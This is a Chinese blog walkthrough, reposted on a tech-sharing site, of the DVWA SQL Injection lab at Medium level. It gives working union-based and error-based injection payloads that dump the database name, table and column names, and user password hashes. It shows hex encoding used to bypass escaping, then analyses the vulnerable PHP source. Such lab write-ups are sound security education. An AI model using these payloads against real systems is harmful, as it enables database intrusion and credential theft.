ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

【DVWA】SQL Injection------------------------Medium

2021-02-28 15:01:31  阅读:249  来源: 互联网

标签:------------------------ Medium group name table mysqli Injection payload schema


【DVWA】SQL Injection------------------------Medium

1、初步测试

发现是post请求

image-20210225212541371

于是用burp抓包:

image-20210225212637714

输入单引号’报错:

image-20210225212748567

输入1 and 1=1

回显正常,判断应该是数字型

image-20210225212900814

输入1 and 1=2

没有回显,说明存在sql注入漏洞

image-20210225213057426

2、获取数据库名、用户、版本号

order by测出主查询字段数为2

payload_1:union select group_concat(database(),user(),version()),1

image-20210225213803197

爆出数据库名为dvwa,用户为root@localhost,版本号为5.7.26

3、获取表名

payload:and 1=2 union select group_concat(table_name),1 from information_schema.tables where table_schema='dvwa'

image-20210226132050607

后台可能对特殊字符’'有过滤,于是换一个payload:

payload:and 1=2 union select group_concat(table_name),1 from information_schema.tables where table_schema=database()

image-20210226131746790

这次成功将表名爆出:guestbook,users

换一个姿势:

payload_2:1 and 1=2 union select 1,concat((select group_concat(table_name) from information_schema.tables where table_schema=database() ),floor(rand(0)*2))x from information_schema.tables group by x#

image-20210228143035585

4、获取字段名

姿势1----常规操作:

payload:1 and 1=2 union select group_concat(column_name),1 from information_schema.columns where table_name=0x7573657273

由于后台对’'做了转义处理,所以要将表名users转换为十六进制0x7573657273来绕过转义

image-20210228112607588

如图所示爆出users表中的字段名

姿势2----使用floor()函数:

payload_2:1 and 1=2 union select 1,concat((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273),floor(rand(0)*2))x from information_schema.tables group by x#

image-20210228142755617

5、获取字段数据

payload:1 and 1=2 union select 1, group_concat(user,0x7e,password) from users

image-20210228113929767

如图所示,爆出用户名和密码。

6、暴力破解密码的md5值。

image-20210228114151886

成功获取管理员的用户名admin和密码password

源码分析:

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); 
    //mysqli_real_escape_string转义sql语句中使用的字符串中的特殊字符\x00 \n \r \ ' " \x1a
	//但这里并没有做参数化或预处理或者更严格的过滤,所以可以避开使用上述特殊字符来构造payload
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?> 

总结:

如果遇到转义的特殊字符,可以将该字符转换为hex(不带单双引号)实现过滤

标签:------------------------,Medium,group,name,table,mysqli,Injection,payload,schema
来源: https://blog.csdn.net/qq_43665434/article/details/114223149

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有